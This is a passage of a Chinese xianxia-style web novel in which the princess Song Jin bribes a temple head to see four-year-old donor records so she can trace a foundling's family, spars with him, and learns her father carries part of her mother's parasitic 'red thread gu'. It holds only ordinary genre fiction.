福哥苦笑:“我知道,但是万一呢?她一个小姑娘,有爹娘在着,怎么也比跟着我吃苦好” 宋锦呵呵:“那可说不好,富贵人家心最黑了,到时候为了利益,等她大点了把她送给五六十的老头当小妾” 福哥:“……郡主你别吓我” 宋锦耸肩:“实话实说,我以前在县里可见了不少” 福哥抿了抿嘴,神色一点点低落了下去,不过很快又抬起脑袋,看着宋锦张扬的眉眼,小心翼翼道:“有,有郡主在,定然不会的” 宋锦嘿一下,伸手敲敲他的脑袋:“你小子挺会算啊” 他还真会借力,这才让她帮忙找人,就已经想好了怎么借她的势了 福哥破罐子破摔:“谁让郡主你这么好的” 好家伙 宋锦眉眼飞扬起来,抬起手,食指和拇指合起,在他脑门上重重一弹,眉飞色舞:“看在你这么有眼光的份上,本郡主就不和你计较了。行了,我后面找人问问,你去跟他们玩吧,在不过去,他们耳朵都要竖起来了” 福哥深深松了口气,看向那边看似堆着雪人,但是眼睛一直往这边瞅的三人,露出一抹笑:“多谢郡主” …… 几个人还要干活,中午饭点的时候就走了,非常尽职尽责 他们这一走,宋锦也没事干了,给黄黄喂了吃的,就捏着怀里的红绳往小院里走 夏日时候,牛铁兰最喜欢坐在树下吹着凉风,现在冬日里,她大部分时间就在屋子里面,左右燃着火炉,衣服穿得厚厚的,看书学画刺绣…… 日子那叫一个充实 牛铁兰坐在火炉边上,手上捏着毛笔,在那里写写画画,她的字迹娟秀,看上去还是有模有样的,但因为以往无人指导,字迹多少有些耙软错误,笔触间也少了些锋芒 曲茂泽坐在一旁,手上拿着一本厚厚的书,看几页书再看两眼牛铁兰,时不时给她指点一下 房间静谧,角落的香炉飘着青烟,两个人坐在那儿,一个写字一个看书,偶尔眼神交流,俊男美女,看起来格外养眼 宋锦开门进来,见到这幅场面,下意识搓了搓胳膊 这怎么看着跟书香门第似的 不对劲,一点儿也不对劲 “娘你在写什么呢?” 宋锦哐当一下重重关上门,大摇大摆走过去,砰砰拉过凳子,扯着个大嗓门,打断屋内的静谧 牛铁兰手一顿,笔触一重,一坨墨渍染晕了字,她眼皮一跳,拿起一旁的镇纸扔了过去,恼:“死丫头你发什么癫” 宋锦轻轻松松接过镇纸,嬉皮笑脸:“我怎么了?娘你现在怎么越来越暴躁” 牛铁兰眉头跳动,一看她这样子就知道没好事,没好气道:“宁宁她们走了?” 宋锦嗯了一下,歪着脑袋瞅着她娘:“娘,我怎么感觉你不欢迎我呢” 牛铁兰深呼吸,看着桌子上的字卷 她写了一上午,小心再小心,好不容易一个字没错,各个都还算满意,一会儿就可以按章签字,然后好好收藏了 但是,现在最末尾的地方一大坨黑渍,十分显眼 她一上午的功夫又白废了 牛铁兰瞪人:“你要不要自己看看?” 宋锦瞅了两眼,嘀咕:“这有什么啊,不就是黑了点嘛,瞎讲究” 看着她这幅模样,牛铁兰捂着心口,深呼吸再深呼吸,还是压不住心中的气,她又拿起茶杯灌了两下,这才勉强压下,没好气道:“说吧,过来什么事” 宋锦:“没事就不能过来找你了?娘你变了” 她以前怎么不知道她娘是这种人呢,有了男人就不要闺女了是吧? 牛铁兰忍无可忍,走过来揪住她的耳朵:“几天没收拾你,皮痒了是吧?再闹信不信我给你请几个夫子回来上课?” 她就知道不能给这死丫头好脸色,三天不打上房揭瓦 听到上课,宋锦耳朵不疼了,脑袋疼,她瞬间老实下来,求饶:“娘我错了,我过来是正经事的……” 说着她就把福哥送过来的红绳掏了出来,巴拉巴拉把前因后果都说了一遍,并且强调 “娘,你说你闺女是不是特别善良又仗义?” 牛铁兰没想到还有这么个身世,眉头微蹙,扪心自问,如果是自家千辛万苦生下来的孩子被这么对待,她的心忍不住一揪 但是回归现实,看着对面这自己正儿八经生下来的熊孩子,很是无语:“我看你是看热闹不嫌事大,整日就知道不务正业” 宋锦狡辩:“我昨日才巡逻铺子的” 牛铁兰呵呵:“我这还有一堆账本,明天” 宋锦立马转移话题,指着红绳:“不说这些小事情,娘你快看看这个,这玩意儿也没什么稀奇吧?就算是衣服料子,哎,永安城人这么多,不知道得找到猴年马月去了,真找到了也是一堆麻烦事。哎,娘你说你怎么厉害,养出我这么一个善良又仗义的孩子啊……” 在旁边听着都曲茂泽没忍住笑了出来 宋锦瞪:“你笑什么?” 曲茂泽合上书本,悠悠夸奖:“金金真是个善良的好孩子” 宋锦恶寒:“闭嘴,看你的书吧” 恶心死了 曲茂泽轻轻一笑,把书放到一边,站起身走到她们旁边,拿过那条普普通通的红绳,仔细打量,有些意外,神情也若有所思了起来 宋锦见他这幅神情,也意外了起来:“你认识?这么巧?” 曲茂泽轻笑:“也不能这么说,这是三清观的开光红绳,需捐赠上千两的香油才能换,那小丫头,身世确实不简单” 宋锦惊:“三清观这么黑?” 这关注点,曲茂泽失笑:“三清馆多善事善法,每年都会有不少捐银,上百两的捐赠都会有记录,银钱用途也有展示,多是助力普通百姓孩童,传播道学,倒是说不上黑” 宋锦眨眼:“有记录?那不是去查四年前的,按着来就行了?” 曲茂泽点头:“确实如此” 这样的话简单多了,按着名单查一下谁家那年有刚出生的孩子去世,大致就出来了 想到这,宋锦眨了眨眼,捏着红绳仔细查看,然后一把将其收起揣兜里,转身就跑:“娘我出去一趟,晚上你们先吃别管我” 说着人就没了影 风风火火,莽莽撞撞 牛铁兰深吸一口气,看着被她遭过的残局,眼皮跳动,伸手扭了扭曲茂泽,微恼:“你还夸她?你来收拾” 曲茂泽轻笑:“成,我给你重新写一副” 说着,他将牛铁兰那副被墨渍晕染的字画,束起袖子,拿起毛笔轻轻一放,宛如复刻一般,以牛铁兰的字迹重写了一边 动作行云流水,下笔如有神,便是同样的娟秀小字,也入木三分 直接反客为主,翻版成了正版 牛铁兰咬着唇,看着一旁自己那本来还算满意的画作,微微恼怒,过去抱着画卷转身离开 自己写吧 臭显摆的 第122章 犯了疑心病 三清观是个好地方 祈福、算命、开光…… 每日来往的人便很多,现在临近过年时候,更是人来人往 从永安城一路出来,就能看到路上的一辆辆牛马骡车,三五十人拼着车子,搓着手,脸上带着出门的欢喜 除了车外,路上行走的人更是不少,他们成群结队地站在一起,声音响亮,说着家长里短 小崽子们则在一旁活蹦乱跳,你追我打,摔上两跤挨两声骂,也不在意地拍拍屁股继续追打 欢闹之下也不乏穿行的乞儿,他们拿着破碗在一旁挨着路讨食 宋锦骑着黑骡,挎着长弓利箭,小心地穿过乱七八糟的人群,骡蹄踩在被雪浸湿的泥地上,印出一个个小凹坑 这种天气,走在路上难免泥泞 小黑机灵,一路特意挑着平整的地走,本就慢慢吞吞的,蹄上泥巴多了,还要挪到雪地里搓一搓,讲究得很 宋锦拍拍它的脑袋:“走快点,别磨蹭” 小黑昂着脑袋:“吁——” 自从到了都城之后,宋锦就入乡随俗(喜新厌旧)骑着汗血宝马了,每次出门跟飞一样。以前的爱宠小黑就在宋府马房里,好吃好喝,出门也是被马夫溜达 在镇上的时候,小黑平日拉磨拉车,农忙时节下地,时不时还得进城跑几圈,身形健壮修长,是一头好俊骡。现在好逸恶劳,整个骡胖了一圈,拉着一张骡脸,要不是出门时候它硬是咬着宋锦的衣服,她都不想带它 宋锦抓它耳朵,嫌弃:“你看看你胖的,要不是我今天不赶时间,我都不会骑你,真丢你们骡子的脸” 小黑哼哧哼哧:“吁——” 宋锦白眼:“还得劲了是吧?赶紧的” 小黑哼哧哼哧,这才加快了步子,一人一骡到了三清观脚下 宋锦是第二次来了,牵着小黑就来到一旁的马窖处,把它留在这儿,再转头一看。旁边的赤色马匹探过脑袋,哼哧两声,用脑袋蹭着宋锦 宋锦抚着下巴,挑着眉头,摸了摸赤马的俊脑袋:“哟嚯,小伙子,你看着有点眼熟啊”” 赤马吁了一声,又探着脑袋过来贴她,十分温驯 宋锦没多想,拍拍马脑袋,再警告小黑两声,拍着手朝着山上爬去 现在是中午时候,不少人已经开始准备回去了,石阶路滑,大家下山都小心翼翼以防滑倒,就见一道红影窜了上去,没一会儿就上了没了影子 有小孩子惊诧:“娘,那个姐姐会飞” 宋锦听着身后的惊呼声,勾着嘴角,运起轻功,脚尖轻点,轻快又大步朝上,在陡峭的石梯上,裙摆飞扬,宛如飞凰一般,很快就到了顶上 三清观矗立在山巅 观顶白雪覆盖,观外红绳飘摇,香烟弥弥,比起之前更多了些庄肃之美 道观外面有小道士售卖香纸红绳符咒,价钱便宜,来来往往的人多多少少都会买一些。到了里面,东西就贵了起来,人也跟着多了不少 宋锦只是过来查东西的,但是一点儿也不妨碍她凑个热闹,看到那边的摊子就挤了进去,瞅着一堆的祈愿牌子,按着最贵的一排捡了起来 她老娘必须有 唔,给自己也来一个吧 对象也来一个,那么合胃口的还是不好找 还有那人 算了算了,都来一个,她也不缺这点钱 就这么一个接一个,宋锦空着手进来,抱着一抱的牌牌走了出去,到另一边的写字地去 这边有刻刀有毛笔,宋锦毫不犹豫地选了刻刀,将一抱的牌子扔桌上,嘴上叼着个铺子送的素饼子,开始刻起了名字 牛铁兰、阮金玲、齐铮、严铮 两个都改名换姓过,占四个牌子 再然后是宋商、曲茂泽 烦,这也改来改去浪费她的银两 宋锦咔咔啃着饼子,又继续刻着,比起旁边人的小心翼翼,她就跟用毛笔似的,轻轻几笔就写好一块 再是宋家兄弟五个,一堆大男人,潦草一点得了,到时候跟曲茂泽的扔一边 最后是阮东林和邰清心夫妻俩,外加两个熊孩子舅舅 这个就跟她娘挂一起吧 宋锦拿着牌子挨个写完,写完放下刻笔,无视周围人惊异的目光,抱着一抱木牌来到挂祈牌的树下 这边有好几棵树,都有各自的故事因缘,宋锦没打听过不知道具体的,她随意看了几眼,朝着人最多的那棵走去,远远站在人群外,直接拎着木牌上拴着的红绳,往树上一扔 木牌十分精准地挂在了上面 她又捏起一个,就这么一个接一个的,就跟扔石头似的,全部精准地挂在了树头上,等到全部弄完,她拍拍手,小声嘀咕:“我这是效率,不是心不诚,老天爷你认真感受,感受不到就反思一下自己是不是本事不够……” 嘀咕间,肩上突然多了股力 宋锦下意识一拉,一个转身膝盖上去 “唔” 一声惨痛袭来 她瞅着捂着肚子倒在地上的倒霉蛋,摸了摸鼻子,有些心虚,但也只是一点点,更多的还是理直气壮:“你干什么呢?” 宋行之捂着肚子趴在地上,脸皱在一起写满了痛苦,一句话说不出来 疼死他了 宋锦撇了撇嘴:“你们怎么在这里?” 宋安之和宋清之站在宋行之后面,看着他痛苦的模样,纷纷咽了咽口水,下意识往后退上一步 宋安之自觉身子脆弱,轻咳几声,用手肘拐着宋清之,让他来 尊老爱幼,真碰上事了,小的得顶上啊 宋清之嘴角一抽,但是都被拉出来了,对着宋锦那双狐疑的眼,有些发怂之余,也难掩郁闷:“这话该我们问你吧?” 宋锦挑眉:“什么意思?” 宋清之就更郁闷了,控诉:“我们昨天邀了你一起的,你答应得好好的,结果一早就没了影” 宋锦:…… 她想起了,好像确实有这么回事,昨晚上她拿球逗虎的时候,他们兄弟跑过来喊她,说什么竖长明灯的事。 宋锦打着哈哈:“这不是来了吗?你们看,我挂的祈牌,你们都有份” “下次还是别挂了,我还想多活两年”蜷在地上的宋行之总算是缓了过来,揉着胳膊起来,一张白脸憋得通红,眼神哀怨,“你下手可真狠” 宋锦白眼:“谁让你从后面拍我的?换做以前” 若是上辈子,谁敢这么来,活不到一秒 宋行之看懂她的未竞之意,脊背一凉,搓着手后退两步,走到宋安之和宋清之后面,把他们往前推了一点,转移话题 “你过来这边干什么?” 依照她的性子,肯定不会是因为想起他们的约定过来 宋锦耸肩:“有点事,你们弄你们的,我去忙我的了” 说完她就抱着手离开这边 “……” 碰都碰上了,兄弟三哪儿能让她一个人去找事啊,赶紧跟上她,一路走过人来人往的观庙,朝着道士们的居住区走去 她大步流星气势汹汹,怎么看怎么都是一副找茬的模样 宋行之眼皮跳动,在后面一路念叨:“三清观观长在大衍鼎鼎有名,探星算日,摘星阁就是他负责的,平日作法精算,很是灵验,爹都要敬重三分,惹不得真的惹不得” 宋锦抱着手,听到这个,就更来了兴趣:“这样啊,那我得让她给我也算一算” 宋行之头疼:“要算也不是这样算的,不礼貌,我们后面先递拜贴再” 宋锦打断他:“你话太多了,二哥呢?” 宋行之被噎,哀怨:“陪他未婚妻呢” 宋锦挑起眉头:“哟,羡慕了?那可怪不了别人,你后院一堆美人,你自己不要的” 宋行之深吸气:“谁羡慕这个了” 他是嫉妒老二好吧 也没见老二做什么啊,这丫头一口一个二哥的,当他们四个都是死的,好气人啊 宋锦切了一声,又问:“都安排好了?” 因为春鸢和夏花的背叛,宋行之一朝被蛇咬十年怕井绳,直接犯了疑心病,在他们出行的那段时间,把后院的美人们全部遣散了 多情又无情 好在他还有点良心,给人选择的机会,不管是重新改嫁他人,还是自立女户,又或者挪去庄园,他都给安排。 她们以往的衣服首饰带走,每人再添上一千两的银钱,便是在都城也算小有家底了 只可惜,他那后院都是些柔弱女子,这些年更是过惯了依附人的日子,基本都选择改嫁他人——但是她们也并没有那么多的选择 要么回去娘家被吃干抹净,要么嫁或者送予宋行之的友人下属 更绝的是,这人还要再拖两月才放人,说得是精挑细选,为她们着想,实则是为了杜绝了任何有可以牵扯到他身上的机会 果然,能年纪轻轻坐到他这个位置,除了聪颖,也少不了绝情 即便,在这个年头,在他这个地位,他已经属于非常重情重义了 宋锦看着宋行之完全不在意的模样,感叹:“你可真冷漠啊” 宋行之并不觉得有什么,他反而笑了笑,神色温柔,话语又格外无情:“男人大多如此,所以小妹可要擦亮眼睛,权利啊,要握在自己手里才是自己” 宋锦嗤笑一声,比了比拳头:“我可不比权,我就比武,不怕死的可以试试” 她行事确实张扬,但是仰仗的,从始至终,最根本的还是她的武功,可不是什么宋家。 宋行之在男女方面确实挺不招人喜欢,但他一个有品有权的官员,这些私事轮不到宋锦来管,她也管不了。 她可不会因为人叫她一声小妹,说两句好话就真觉得自己能掺合他的事了。不过,她虽然不好掺合他的事,但可以揍他 对着她凶恶的眼神,宋行之却是笑笑,夸道:“不错,我们宋家的姑娘,就是要如此” 宋锦白眼 所以说,宋家兄弟五个,她为什么只喊宋顺之一人呢? 因为他是真的把她当做妹妹,而其他四个,都是把她当宋商的女儿,宋府的姑娘 啧,烦人 宋锦懒得理他们,自顾自继续往前走去,绕过弯弯绕绕的路,来到了里面的院子 院子里空荡荡的,只有一个蓝衣的道士在那里打着拳,一拳一式遒劲有力,站在一边都能听到破风的声音 宋锦挑起了眉头,抱着手站在一旁看他打拳,直到他打完了,吹了吹口哨,鼓掌:“厉害厉害,你是这里负责的?” 蓝衣道士合手:“明光来了啊,你和你爹长得真像” 宋锦挑眉:“来过两招?” 宦缙轻笑,后退半步,比起手势:“请” 宋锦哈哈一笑:“爽快” 说着,她就朝着人冲了过去,双拳握紧,破着风朝着他砸去,动作快得让人看不清楚 宦缙却只是伸手轻轻一推,接住了她的攻击,又一掌过去 看似轻描淡写,但是宋锦知道,真被打到了,骨头不断内脏也得裂,她轻巧躲过,再次发起进攻 一个全力进攻,一个以退为进,两个人你来我往,动作越来越快,快得一旁的三人都看不清楚了 宋安之忧虑:“观长功力深厚,伤到小妹可怎么办?” 宋清之也担忧:“小妹要是把人打伤了,那些道士得砸了我的店” 宋行之看着他们两个怂兮兮的模样,难掩嫌弃:“没出息” 宋安之立马回怼:“观长若是受伤了,老大你猜猜你会收获多少攻讦奏折?” 宋清之也冷笑:“要不要我给你算一算你那些破事花了我多少钱?” 宋行之:“……” 这真没法反驳 他闭上嘴,继续看着那边两个人比试,远远的,伴随着破风声不断,周围的花草树木跟着遭殃,一个个断裂开来 肉眼看着就很疼 兄弟三齐齐后退到院墙边上,生怕下一个断的就是自己的 就这样这般两刻钟过去,宋锦一个空翻后退,单膝杵地,擦去嘴角的血渍,一双凤眸发着光一般晶亮,大大方方地承认:“我输了,你很厉害” 宦缙摆了摆手,一副风轻云淡的潇洒模样:“你还好,再过些年定能超越于我” 宋锦能屈能伸,擦干净嘴角的血,咧着牙,神色兴奋:“肯定能,等我下个月再来找你比” 宦缙不着痕迹地吸了口气:“下月繁忙,你再练练” 宋锦有些失望:“行吧,有空了给我府里递信,我随时都有空” 宦缙:“……届时再说,对了,你过来有何事?” 宋锦也才想起正事,说道:“我要查庆安十六年的在你们这捐钱买红绳的人” 宦缙语重心长:“香客一片虔诚向道,这怎么能用买字来形容他们诚意呢?” 宋锦白眼,抓了坨雪擦着手心的血迹,懒得跟他拐弯抹角,直接道:“就说能不能吧” 宦缙轻叹:“这四年前的事了,有些久远” 宋锦:“我给我娘捐一千两的香油钱,那什么红绳什么灯的,来一个” 宦缙嘴角一抽,他先前还在羡慕宋商有这么个像他的闺女,现在不羡慕了,有这么个女儿,够他后半辈子头疼了 他语重心长:“这是香客的私事,我们也不能拿” 宋锦抖着腿,擦着手,打断他直接加钱:“五千两” 宦缙:“……这不是钱的事” 宋锦微微一笑:“一万两” 宦缙谦逊起来:“但是我想,明光作为郡主,心怀百姓朝廷,查此定为正事,观里被朝廷百姓供养,也不能不管不顾,郡主跟我来吧” 宋锦挑眉:“我就喜欢观长这种直爽人,走吧” 用钱开路,找东西就很顺利了 宦缙把她带到藏书阁,从上面找出几本册子递给她:“十六年的都在这儿,你自己看,我还有事先走了” 宋锦懂,他们体面人的体面嘛 她点头:“谢观长” 这人功夫高,做事爽快,值得她的尊敬 宦缙微微一笑,就这么转身离开,动作不急不慢,轻描淡写,很有高手风范 宋锦瞅着,感叹一声:“下个月没空,不如我过两天再来?” 宦缙步伐一顿,再迈步明显快了不少,没一会儿就没了影子,直到走远了,才靠在墙边,轻点胸口穴道,一口血喷涌出来 闭关,他必须闭关一个月,半年 不行,他要去巡游 …… 藏书室内,宋锦抱着那几本资料坐下,一翻开,密密麻麻的字迹看得她脑袋疼 宋行之走了过来,看着那些书,皱眉:“你查什么?” 宋锦看着那些自己都不认识的人,再翻了两页,略过几本数额小的,直接看记录上千两的 依旧密密麻麻,粗粗一看都有上百家 她倒吸一口凉气:“你们都城人都这么有钱吗?” 宋行之嘴角一抽:“不及你挥金如土,一万两说给就给” 宋锦撇了撇嘴,不在意道:“我给我娘祈福呢,一万两有一万两的质量” 虽然说她不信这个,但是花钱买安慰嘛 宋行之深吸一口气,想说一句败家女,又想到她那么大个家确实败不完,把话压了回去,把登记册拿了过来,扫了一眼,直接问 “找哪个” 宋锦歪过脑袋,伸手把几页都翻过指了一遍,惊奇:“你都认识?” 宋行之无奈:“都是永安城有名有姓的人物,你就不能记一记?” 宋锦嘀咕:“我记这个干什么?” 宋行之之前还专门把永安城所有世家大族的情况关系写了下来给她,现在看来,白费那几日功夫了,他没好气道:“现在用得到了吧?” 宋锦瞪眼:“用得到就用得到,你凶什么凶?” 这恶人先告状的,宋行之一口气憋在胸口 宋锦不等他再开口,一把扯过册子,轻哼一声就大步离开:“又不是只有你一个人懂这些,有什么了不起的” 她回去问那人去 宋行之:…… 好气啊 第123章 一点后遗症 “喂,你认识这些吗?” 宋锦走得风风火火,回来得也急急忙忙,脚步声噔噔噔,也不敲门,窜到一边直接推开窗户,脑袋探了进来,手挥着册子,理直气壮 房间里,曲茂泽站在床前,他慢条斯理地把拆到一半的腰带重新系上,又理了理敞开的领口,无视窗边的脑袋,径直走到门口开门,侧站在那儿,嘴角噙笑,勾了勾手 宋锦半个身子趴在窗上,转过脑袋就看着他这样子,翻了个白眼:“唤狗呢?” 曲茂泽笑而不语,就这么靠在门边看着她 虽然人人都看得出他不安好心,和牛铁兰关系不一般,但是面上还是讲究一些。 从安东郡回来之后,或者说是从牛铁兰治病之后,他大部分时间都还是在这边的院子。当然,最主要的还是宋锦就住在牛铁兰隔壁,他就是想干点什么,也不能挑晚上 宋锦趴在另一边,和他相似的凤眸就这么瞪着他,也跟着不说话 父女俩就这么僵持着 若是比武力,父女俩真动起真格了,还不一定谁硬,但是比耐力嘛 宋锦完输 她捏着手中的册子,看着上面密密麻麻的名字,纠结是就这么认输,还是再换一个人或者多换几个问问 虽然他们不一定有这人知道得多,但是三个臭皮匠顶个诸葛亮,要是多花点时间 曲茂泽看着她纠结的模样,脸上笑意越甚,轻轻敲了敲门框,轻声:“没有什么多余的要问我的?” 曲茂泽就站在那儿,五官清俊,眼眸含笑,看起来光风霁月,俊朗明逸。他站在昏暗的门前,只穿着一件单衣,领口略微敞开,锁骨处红线突出,乍一看是画上去一般,细看就能发现红线不住扭动,是活生生的 夜间飘起小雪,雪花在明灭的光线下,像是飞舞的蚊虫,萦绕在他的周身。凄寒的夜风吹拂,光线在他身后明明灭灭,像是扭曲的黑洞,让他看起来格外的诡谲和危险,让人轻易不敢接近 宋锦嗤笑一声,她最不怕的就是危险了,仰着下巴大步朝着这边走来,把手里的册子往他胸口一砸:“你最好都认识” 曲茂泽轻轻一笑,打开册子,看着里面密密麻麻熟悉人名,手抚过名字,最后落在连着的三个上面,声音带着些叹息 “孙仞、万斌、余升荣” 宋锦已经拉了凳子坐下,翘着二郎腿,给自己倒着茶水,一副主人家的自在模样。听到几个名字,她瞥了过去:“你朋友?” 曲茂泽悠悠走了过来,在她喝茶的时候,轻声:“被我弄死了” 宋锦差点被呛,刚想瞪人,就见他指着册子上的人名,一个接一个的念了起来:“毕家,三房的毕少明,贪污行贿,逼良为娼,斩。廖家,大房嫡长子,监督不利,流放岭南。倪家,唯一的外孙女,因妒害人,流放后死无全尸。江家独孙,占地纵马,喜猎人,分尸……” 那真是卷卷有熟人,卷卷有他名 宋锦把茶水喝完压压惊,一言难尽:“全是你收拾的?” 曲茂泽念了大半,有些戏谑的笑了笑:“怎么,怕了?” 宋锦翻了个白眼 这人被这么多人恨一点儿也不意外了,公事私事都很随心啊 不过怕? 她嗤笑:“有什么好怕的?杀人偿命,该死就死” 曲茂泽勾着嘴角,坐在她旁边,杵着下巴就这么看着她,那双和她如出一辙的凤眸溢着光 宋锦鸡皮疙瘩都起来了,警惕:“干嘛?” 曲茂泽不说话,伸手轻轻过她垂下的秀发 宋锦一巴掌拍向他的手,眯起眼睛,威胁:“再动手动脚,小心我折了你的手” 曲茂泽就跟没听到一般,掐着一缕秀发,轻笑:“爹给你梳个头吧” 宋锦恶寒起身:“有毛病” 曲茂泽继续笑着,目光宠溺,就跟看小孩子一般看着她,话却不是这么一回事:“真让人伤心,金金好偏心,对你阿娘亲亲密密,对我就一个好话都没有” 宋锦无语:“你跟我娘比?” 曲茂泽轻叹:“说起来,我们一家三口还没有好好说过以前的事,不如去把你娘叫过来,一起念叨念叨?” 宋锦恶狠狠瞪他:“你敢” 曲茂泽笑而不语,把书册扣在桌上,去一旁拿起木梳过来,轻轻按着她的肩膀,感受着她的僵硬,轻轻一捏 宋锦咬着牙,不情不愿地坐了下去,恼:“梳头就梳头,别动手动脚” 说着,她在心里自我安慰 理发师理发师,这人自己都不介意干活,她有什么好介意的? 她这般自我安慰着,还是在他的手探到后脖的时候下意识击打过去。曲茂泽不动声色接下,按着她的手,继续解着头发,紧接着再一次重复 简简单单的梳个头发,弄得兵荒马乱跟打仗似的 等到给她头发梳理完了,曲茂泽刚松了口气,她的脚又从凳子底下踢了过来,真就跟野猫似的,除了挠人就是咬人,老实不下来 曲茂泽还是没忍住叹出了声 宋锦眯着眼睛侧头:“什么意思?” 曲茂泽忍不住掐了掐她的脸 那可不得了了,宋锦震惊一瞬,紧接着一脚踢翻桌子,拳头冲着人面门就砸了过去 曲茂泽深深叹气,接住她的招式,再一卸力,仗着周围桌椅凳子多她收着力,束着她往地下一倒,把人抱在怀里砸在地上,搓了搓她的脑袋,低声闷笑 “你要是再小点就好了” 要是两三岁的时候,不知道有多好玩 “……” 他真的好烦啊 平日真是委屈她娘了,天天面对这么个无赖 宋锦磨牙:“放开我” 曲茂泽没放,就这么从被背后搂着她,下巴搭在她脑袋上,然后左手松松搂过肩膀,手上的刀痕格外显眼。他无声感叹,他的女儿啊,都是大人了 曲茂泽喟叹:“你娘把你养得真好” 宋锦瞬间熄了火,还是憋屈:“你别太过分了,心机男,我可不是我娘,我不吃这套” 曲茂泽闷笑:“对,你不吃这套,也就是你娘傻” 宋锦炸毛:“说谁傻呢?你别太嚣张了,我娘现在可是侯爷女儿,甩了你分分钟的事” 曲茂泽挑眉:“这样啊,你娘真甩了我,那我们金金可就可怜了。这有了后爹啊,就有后娘” 宋锦呵呵冷笑:“只听过有了后娘有后爹的” 曲茂泽闷笑:“你还小,见的世面少,没见过很正常” 宋锦磨着牙,忍无可忍,攥着他的手从他怀里钻了出来,一屁股坐到对面,一只脚挡在他的胸前,竖着耳朵,警惕威胁:“再来我真的生气了哈” 曲茂泽见好就收,也跟她一样一屁股坐在地上 经过一番打闹,他的头发乱了几分,脸上笑意渐深,腰间随意系上的腰带松开,露出白色里衣,他干脆一把拆开,在宋锦瞪大的眼眸中,脱了衣裳,露出宛如白玉一般的上身,精致细腻,又有棱有角 换个人宋锦得给他吹个口哨,轮到这人,她微微鼓嘴,视线落在他一片红斑,看着一片,但是仔细看,全是一条一条的,还在翻滚 她抿了抿嘴,不知道该说什么 想也只知道他为什么这般 外面还飘着雪,气温很低,但是曲茂泽也不在意,比起冷,他更惧热,他指着身上的血线,也是这么久以来第一次和她说牛铁兰的情况 “红线蛊出现几百年间,种蛊后存活时间最长为一年,你娘这十来年的,闻所未闻,所以我和虫老头也只能走一步看一步。红线蛊反噬有些强,又从来都是子母蛊,所以我移了一部分到我身上,可以更好的安抚,你娘需要的练蛊也可以减少一些” 宋锦紧紧抿着嘴,看着他的目光格外复杂 曲茂泽觉得好笑:“很意外?我确实不是不好人,但是你娘是我唯一的女人,又有你,于情于理,我都该如此,更何况这对我影响不大,甚至有好处” 宋锦撇了撇嘴,耷着脑袋,肉眼看着人就蔫了两分 曲茂泽勾唇,又道:“你娘现在情况还不错,基本上再过半年前情况就会稳定下来,届时我带她回蛊族一趟,彻底好了以后,你就不用担心了” 宋锦捏着衣服,嘟囔:“虫老头不是说不在了吗?” 曲茂泽:“他说的不重要,我会让他带路的” 他说得轻描淡写,仿若那就是个虫子似的 从一开始,虫老就表现得十分惧怕曲茂泽,怕得第一次见到宋锦这个和他相似的人,都哆哆嗦嗦任劳任怨 她歪起了脑袋,好奇:“你拿捏他什么把柄了?” 曲茂泽轻笑:“也没什么,他儿子的命在我手里而已” 宋锦:…… 他又补充:“还有他孙子,还有他的” 宋锦一言难尽 看着她这副表情,曲茂泽笑了出来,伸手揉揉她脑袋,轻笑:“那老头不是什么好玩意儿,当初岭南之祸就有那老头的份,他的话你听着玩就行了,不用当真,真烦人了,弄死就行了” 宋锦无言以为 这是什么品种的魔鬼啊,也不怪被那么多人咒恨了 曲茂泽见此,又伸出手想摸摸她的脑袋 宋锦这次反应过 来了,一巴掌拍开他的手,警告:“够了啊,再来我真走了” 这又是搂又是抱的,那么大人了,一点儿都不讲究 曲茂泽轻笑:“行吧,那下次再来?” 宋锦面无表情 这人一会儿不欠是会死吗? 她狠狠瞪了瞪他,从地上站起身来,拍拍冰冷冷的屁股,又坐到凳子上,拍了拍自己那本册子:“说正经的,快给我理一理,那小崽子到底可能是谁家的,要是靠谱,可以去看两眼,不靠谱就当这事不存在了” 大家族的事情多,就是那些人会因为宋府顾忌几分,但到底隔得远,很多东西说不好。更别说,就曲茂泽刚才那一串,指不定就包含了家长,可认亲不得 曲茂泽只觉得好笑,他摇了摇头,起身整理着身上的衣服,合好里衣,拢好外套,又整理腰带,从上到下,动作十分轻巧,一看就是讲究人 宋锦撇嘴:“瞎讲究” 曲茂泽轻轻一笑,道:“刚才说漏了一点,因为红线蛊是子母蛊,还是有一点后遗症” 宋锦狐疑地打量着他,就他这活蹦乱跳的模样:“什么后遗症?” 曲茂泽扯扯领口,又理了理头发,轻声:“母蛊能感应到子蛊的情况,所以” 宋锦唰一下跳到门口 门一开,牛铁兰站在门外,她身形单薄,裹着厚厚的披风,就露出个脑袋,在微弱的烛光下,看起来格外苍白 宋锦赶紧把人拉了进来,拍拍她脑袋上的雪渍,抱怨:“外面多冷啊,你管他干什么呢,他这么大人在府里还能出事?” 牛铁兰眉头紧蹙,伸手摸向宋锦的领口:“哪来的血?” 宋锦摸摸鼻子:“打架打输了,不碍事” 这话一出,牛铁兰就知道没那么简单,伸手就扒她的衣服 如果只是这点血,她肯定不会承认得这般快 果然,都不用往下扒拉,就看到肩膀上青一块紫一块的,牛铁兰没好气地想拍人,看着那伤口又下不去手,只能狠狠瞪了瞪她 “你给我老实点,一天天” 宋锦嘀咕:“过几天就好了” 曲茂泽站在桌边,手上拿着那登记的册子看着,目光幽深:“宫乾那老不死伤的?” 宋锦一双眼发亮,毫不掩饰欣赏之意:“宫道长武艺高强,很厉害,等我后面还去找他切磋” 曲茂泽醋意乍生,嗤笑:“那老不死的净能装” 认识几十年了,宫乾有几斤几两他还能不知道吗?还下次切磋,明日就找不到人了 宋锦跃跃欲试:“你哪天也和我比一” “哎哟” 牛铁兰一巴掌拍她脑袋上,揪着她的耳朵,冷声:“没听清,你刚才说什么来着?” 宋锦憋屈着改口:“我说,让他认一认人,给宁宁找找看” 牛铁兰这才放下她,用眼神警告她老实一点,走到曲茂泽身侧,蹙着眉看着那些个人名,伸出纤细的手指点了几个,忧心忡忡,委婉 “这几个的话,怕是不合适” 曲茂泽勾着唇,低下头贴着她的脑袋,轻声:“不是,几家那年没有死崽子” 牛铁兰松了口气,又换了几个,有些不太确定道:“这个李家,是你以前提拔救过命的?还是这个李家?” 曲茂泽:“就是第一个,有点恩缘,不过不深,值不得提起。倒是这家,欠我几条命,以后出门见到了踩着他们脑袋走都无所谓” 牛铁兰一言难尽,掐了掐他,继续和他说着其他的 虽然她也并不是所有的都记得清楚,但至少也能说出个一二,可见是专门记了的 对比起来,宋锦就什么也不知道了 她站在一边,听着他们两个贴在一起,你一句我一句,和谐默契,她瘪着嘴也凑了过去,脑袋插在两人中间,摇摇脑袋‘不着痕迹’地分开两人,又跟着装模作样地瞎点头 